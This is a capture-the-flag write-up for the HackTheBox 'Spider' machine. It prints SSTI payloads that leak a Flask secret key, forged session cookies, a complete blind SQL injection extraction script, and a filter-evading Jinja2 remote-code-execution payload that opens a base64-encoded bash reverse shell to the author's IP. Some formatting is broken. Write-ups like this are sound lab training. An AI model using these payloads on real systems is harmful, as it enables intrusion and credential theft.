# Spider
This is a hard difficulty Linux machine from [HackTheBox ](https://app.hackthebox.com/machines/350)created by infoSecjack and chivato. This machine is really complex with a lot of topic, it's excelent to refine your concept and scripting skills. In this scenario, my IP is 10.10.14.83 and the target’s IP is 10.129.193.169
### Gathering Information
The first steps are about getting basic information about the target, by using nmap and searching information from the website.
{% code title="Local Terminal" %}
```bash
ping -c 1 10.129.193.169
Pinging 10.129.193.169 with 32 bytes of data:

Ping statistics for 10.129.193.169:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 174ms, Maximum = 199ms, Average = 184ms
```
{% endcode %}
The machine is alive, and by the TTL (close to 64) we can assume and confirm that is definitely a Linux Machine

{% endcode %}
By searching "OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 launchpad" in google, we find that our target is a **Linux-Bionic** machine, is good to know every detail about the target... and the other information to the pocket, is that the port 80 use **nginx/1.14.0.**
We received an http error, let's add the IP to our /etc/host.

{% endcode %}
All right, there is a lot of basic information over the table, now we need to explore the website ****.
After exploring a little bit, is just a simple shop without weird directories, let's intercept the current session anywhere.
Looks like a simple base64 hash.
{% code title="Local Terminal" %}
```bash
echo "eyJjYXJ0X2l0ZW1zIjpbXX0.ZGP8Jw.BrVMT8ucQhhok-dij8L-cci_IWw" | base64 -d
{"cart_items":[]}base64: invalid input
```
{% endcode %}
It looks like something to store our cart data, this means that there is a possible escenario where the cookie is connected to some sort of database. **Create an account**, **login, add items to your cart** and **Intercept your Home-session.**
After registration page
Interesting, after registration, the login process is by using some sort of UUID code... for now it is irrelevant, let's "buy" and then intercept.
Our cookie is now laaargeeeeeer
{% code title="Local Terminal" %}
```bash
echo "eyJjYXJ0X2l0ZW1zIjpbIjEiLCI1Il0sInV1aWQiOiJmODMzODRmZi1kOGMyLTRiNTEtYjk5OC1iMjIyMTkxNTk2N2IifQ.ZGP-fQ.sl9rzz72G6YVcmbZaFVzi_c6lk8" | base64 -d | jq
{
"cart_items": [
"1",
"5"
],
"uuid": "f83384ff-d8c2-4b51-b998-b2221915967b"
}
```
{% endcode %}
Ok, it works, from the cookie we can retrieve information...
and after a long search, because we can see the username after login, the best option now is to apply a **Server Side Template Injection**, to see how this happen, we are going to register as {{config}}, if it works, it's because is vulnerable.
From this point, my IP is 10.10.14.103 and the target IP is 10.129.194.26...
Output at "User Information" when you register as {{config}}
It's a lot of information, save the output in a file, in this page that file will be called "**Config**"
{% code title="Config Content" %}
```bash
```
{% endcode %}
Config content with the replacement ":%s/,\r/g" (Transform every "," to "\r")
We found some configuration stuff like a new key to use, 'SECRET\_KEY': 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942', and by the structure of the configuration, maybe this project is using **Flask.**
{% embed url="" %}
{% code title="Local Terminal" %}
```bash
pip3 install flask-unsign
flask-unsign --decode --cookie 'eyJjYXJ0X2l0ZW1zIjpbXSwidXVpZCI6Ijc1Y2EzN2U3LWNkYzctNDFiMS05M2YzLTJhZjIyMjI3NjAxNiJ9.ZGU8LA.XxU5AbZdIwzmyjsLSXrziNOpPpA'
#It works!
{'cart_items': [], 'uuid': '75ca37e7-cdc7-41b1-93f3-2af222276016'}
```
{% endcode %}
### Exploit
Well, we receive a positive response by using the flask-unsign command, now we can use that command to create custom sessions by using the secret key.
{% code title="Local Terminal" %}
```bash
flask-unsign --sign --cookie "{'cart_items': [], 'uuid': '75ca37e7-cdc7-41b1-93f3-2af222276016'}" --secret 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942'
```
{% endcode %}
With the previous command, the output is equal to the cookie when we login as {{config}}, this means that we successfully execute the reverse process.
What if this JSON data lecture is vulnerable to SQL Injection? Just by adding { \\**' and sleep(10)-- -** } at the end before the '}
{% code title="Local Terminal" %}
```bash
flask-unsign --sign --cookie "{'cart_items': [], 'uuid': '75ca37e7-cdc7-41b1-93f3-2af222276016\' and sleep(10)-- -'}" --secret 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942'
```
{% endcode %}
After 10 seconds, this was the response... it works!
For agility reasons, I will follow this process using Burpsuite, and spoiler, it works if you the following query: " order by 1 -- -"
{% code title="Local Terminal" %}
```bash
flask-unsign --sign --cookie "{'cart_items': [], 'uuid': '75ca37e7-cdc7-41b1-93f3-2af222276016\' union select \"Test\"-- -'}" --secret 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942'
```
{% endcode %}
There is no new message por "Test" at the webpage, so we are working with a Blind SQL Injection, so the best method here is to create a python script to get character by character the information that you need.
{% code title="SQLI.py" %}
```bash
#!/usr/bin/python3
from pwn import *
import pdb, string
import requests
def def_handler(sig, frame):
print("\n\nBreak!\n\n")
sys.exit(1)
# Ctrl+C
signal.signal(signal.SIGINT, def_handler)
#Variables
chars = string.ascii_lowercase
url = "http://spider.htb"
cookie = '''{'cart_items': [], 'uuid': '3670359a-54c9-4f6d-8ad6-c4fb8c31906c'''
secretKey = "Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942"
def makeRequest():
# Progres system, quality of life.
p1 = log.progress("Brute Force")
p1.status("Starting brute force process")
time.sleep(2)
p2 = log.progress("Data")
p2.status("Obtaining characters")
time.sleep(2)
database = ""
count = 0
for char_position in range(1,10):
for character in chars:
p1.status(f"Testing with {character}")
# If True, it will wait 5 seconds, else: Continue testing
# The {'}'} is just to add a single } by using printf... yes, confusing.
payload = f"\\' and if(substr(database(),{char_position},1)=\\'{character}\\',sleep(5),1)#'{'}'}"
session_cookie = subprocess.check_output(f'''
flask-unsign --sign --cookie "{cookie}{payload}" --secret '{secretKey}'
''', shell=True).decode().strip()
# flask-unsign --sign --cookie "{'cart_items': [], 'uuid': '3670359a-54c9-4f6d-8ad6-c4fb8c31906c\' and if(substr(database(),1,1)=\'s\',sleep(5),1)#'}" --secret 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942'
#session_cookie = f'''flask-unsign --sign --cookie "{cookie}{payload}" --secret '{secretKey}' '''
#print(session_cookie)
headers = {
'Cookie': 'session=%s' % session_cookie
}
time_start = time.time()
r = requests.get(url, headers=headers)
time_end = time.time()
# If True, add the character to database
if time_end - time_start > 5:
database += character
p2.status(database)
count = 0
break
count += 1
if count > range(0,len(chars)):
break
if __name__ == '__main__':
makeRequest()
```
{% endcode %}
Output
And the command works, remember that we could use as payload a list with the most common database names, if you don't want to make a whole brute force script.
Now that we know the name of the database, the only thing that is necessary to change at the script is the payload.
{% code title="New payload line:" %}
```bash
payload = f"\\' and if(substr((select table_name from information_schema.tables where table_schema=\\'shop\\' limit 1,1),{char_position},1)=\\'{character}\\',sleep(5),1)#'{'}'}"
```
{% endcode %}
To know about other tables, we have two options, the first one is to change the "limit 0,1" to "limit 1,1" and so on, the other one is to add another **for loop** \[for j in range(1,10)] to make a list with table names.
{% code title="Result from SQLI.py" %}
```bash
# With limit 0,1
[p] Brute Force: Testing with z
[▝] Data: items
# With limit 1,1
[./......] Brute Force: Testing with z
[...\....] Data: messages
# With limit 2,1
[◣] Brute Force: Testing with z
[q] Data: support
# With limit 3,1
[◥] Brute Force: Testing with z
[.......\] Data: users
```
{% endcode %}
Table user found! Now we have to do the same thing but with columns, it's the same login:
{% code title="New payload line:" %}
```bash
payload = f"\\' and if(substr((select column_name from information_schema.columns where table_schema=\\'shop\\' and table_name=\\'users\\' limit 0,1),{char_position},1)=\\'{character}\\',sleep(5),1)#'{'}'}"
```
{% endcode %}
{% code title="Result from SQLI.py" %}
```bash
# With limit 0,1
[.....\..] Brute Force: Testing with z
[ ] Data: id
# With limit 1,1
[←] Brute Force: Testing with z
[ ] Data: name
# With limit 2,1
[q] Brute Force: Testing with z
[b] Data: password
# With limit 3,1
[▝] Brute Force: Testing with z
[◐] Data: uuid
```
{% endcode %}
Now we know the column name from the table "users". Still, is almost the same logic, first just add some characters to the poll.
{% code title="New char line:" %}
```bash
chars = string.ascii_letters + string.digits + string.punctuation
# New char_position range
for char_position in range(1,50):
```
{% endcode %}
From here, is a cycle between changes at the payload, only to select another column and get more information.
payload = f"\\' and if(substr((select name from users limit 0,1),{char_position},1)=\\'{character}\\',sleep(5),1)#'{'}'}"
# Column: name // limit 0,1
[<] Brute Force: Testing with z
[ ] Data: chiv
payload = f"\\' and if(substr((select password from users limit 0,1),{char_position},1)=\\'{character}\\',sleep(5),1)#'{'}'}"
# Column: password // limit 0,1
[▅] Brute Force: Testing with z
[.] Data: ch1VW4sHERE7331
payload = f"\\' and if(substr((select uuid from users limit 0,1),{char_position},1)=\\'{character}\\',sleep(5),1)#'{'}'}"
# Column: uuid // limit 0,1
[o] Brute Force: Testing with z
[∧] Data: 129f60ea-30cf-4065-afb9-6be45ad38b73
Login to the web page with the new credentials.
I tried some stuff but nothing happens, but there is an URL there.
* browser: spider.htb/a1836bb97e5f4ce6b3e8f25693c1a16c.unfinished.supportportal
Has a block too.
We don't know which characters are banned, our best option now is to get a payload and make change from every error, the payload will be:
```
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
```
{% embed url="" %}
Payload result after many many many changes:
```
{%include request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("sleep 5")|attr("read")()%}
```
The command "sleep 5" works so we have a new potential way to execute commands...
echo "bash -i >& /dev/tcp/10.10.14.103/443 0>&1" | base64; echo
# Replace "sleep 5" with the following command:
# "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMDMvNDQzIDA+JjEK | base64 -d | bash"
# Then:
nc -nlvp 443
{% code title="Payload" %}
```bash
{%include request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMDMvNDQzIDA+JjEK | base64 -d | bash")|attr("read")()%}
```
{% endcode %}
And finally, we are at the machine!

There is something at the port 8080, usually used to host other website.
{% code title="Target Terminal \[Chiv]" %}
```bash
curl localhost:8080

Redirecting...
You should be redirected automatically to target URL: /login. If not click the link.c
```
{% endcode %}
It exist, but isn't redirecting us, so an alternative here is to use a **local portforwarding** to connect from our machine to that website.
{% code title="Local Terminal" %}
```bash
ssh -i id_rsa chiv@10.129.194.205 -L 80:127.0.0.1:8080

* Browser: localhost
We can login with any... username...
Login interception.
If you intercept the moment when you login, you send the username, here was "hola", and you send a "version", then receive a new cookie. We know the process to decrypt that cookie.
{% code title="Local Terminal" %}
```bash
flask-unsign --decode --cookie '.eJxNjEFvgyAARv_KwnkHYHYHk14MqKPTBhRQb1qaYUVnqtmsTf_71qRLdnx57_uuwC29A_4VPDXAB5KmoaFLzjumhJ4H1SN91Mmliau2lqGXR2NgJCK8EIki4l1SuzP92yqzmfz6IZNpsA_HWJyC6u7vXEFHuDaMQ-pVod03UTqn2rYKyXMpD5sDctK8VJ2mm6nEENURK9S_v8eeC7y8asKiGrOiiRWvO-rlhE1H93ER_dwqvCAZma-_nq_urJXN6jAYmtUmCRxxeUrF7nu7BbdnMH62wzwBH95-AHCzVak.ZGb8nQ.UYKTrXadL_5aN-GLPGkUJlhb5Zw'

We receive the following output:
{'lxml': b'PCEtLSBBUEkgVmVyc2lvbiAxLjAuMCAtLT4KPHJvb3Q+CiAgICA8ZGF0YT4KICAgICAgICA8dXNlcm5hbWU+aG9sYTwvdXNlcm5hbWU+CiAgICAgICAgPGlzX2FkbWluPjA8L2lzX2FkbWluPgogICAgPC9kYXRhPgo8L3Jvb3Q+', 'points': 0}
It's an XML, a nice clue for a XXE (XML Externar Entity) vulnerability, but first we have to decrypt that section.
{% code title="Local Terminal" %}
```bash
echo "PCEtLSBBUEkgVmVyc2lvbiAxLjAuMCAtLT4KPHJvb3Q+CiAgICA8ZGF0YT4KICAgICAgICA8dXNlcm5hbWU+aG9sYTwvdXNlcm5hbWU+CiAgICAgICAgPGlzX2FkbWluPjA8L2lzX2FkbWluPgogICAgPC9kYXRhPgo8L3Jvb3Q+" | base64 -d

{% endcode %}
The output return the API version, this in definitely a modifiable part from the request, so, let's create a payload and use Burpsuite to send it.
